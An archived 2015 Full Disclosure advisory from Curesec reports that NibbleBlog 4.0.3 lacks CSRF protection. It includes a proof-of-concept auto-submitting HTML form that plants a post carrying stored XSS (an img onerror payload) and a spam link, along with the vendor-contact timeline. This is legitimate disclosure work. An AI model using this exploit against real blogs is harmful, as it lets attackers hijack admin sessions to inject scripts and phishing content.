full-disclosure - [FD] NibbleBlog 4.0.3 - CSRF

Open Source and information security mailing list archives

Date: Tue, 1 Sep 2015 13:36:36 +0200
From: "Curesec Research Team (CRT)" <crt@...esec.com>
To: fulldisclosure@...lists.org
Subject: [FD] NibbleBlog 4.0.3 - CSRF - Not fixed

NibbleBlog 4.0.3: CSRF
Security Advisory – Curesec Research Team

1. Introduction

Affected Product: 	NibbleBlog 4.0.3	
Fixed in: 		not fixed
Fixed Version Link: 	n/a	
Vendor Contact: 	Website: http://www.nibbleblog.com/	
Vulnerability Type: 	CSRF	
Remote Exploitable: 	Yes	
Reported to vendor: 	07/21/2015	
Disclosed to public: 	09/01/2015	
Release mode: 		Full Disclosure	
CVE: 			n/a	
Credits 		Tim Coen of Curesec GmbH	

2. Vulnerability Description

NibbleBlog 4.0.3 does not have CSRF protection. This means that an
attacker can perform actions for an admin if the admin is logged in and
visits an attacker controlled website. In the case of NibbleBlog, this
can for example lead to persistent XSS via the creation of a new post,
which in turn allows for phishing attacks or the injection of JavaScript
keyloggers.

3. Proof of Concept

Create new Post (for Spam and XSS):

	<form id="myForm"
action="http://localhost/nibbleblog/admin.php?controller=post&action=new_simple"
method="POST">
	<input name="title" value="Interesting!">
	<input name="content" value="visit <a
href='http://example.com'>this</a>.<img src='no' onerror='alert(1)'>">
	<input name="allow_comments" value="1">
	<input name="id_cat" value="0">
	</form>
	<script>
	document.getElementById("myForm").submit();
	</script>

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

07/21/2015 	Informed Vendor about Issue
07/22/2015 	Vendor Replied
08/18/2015 	Reminded Vendor of release date (no reply)
09/01/2015 	Disclosed to public

6. Blog Reference
http://blog.curesec.com/article/blog/NibbleBlog-403-CSRF-46.html

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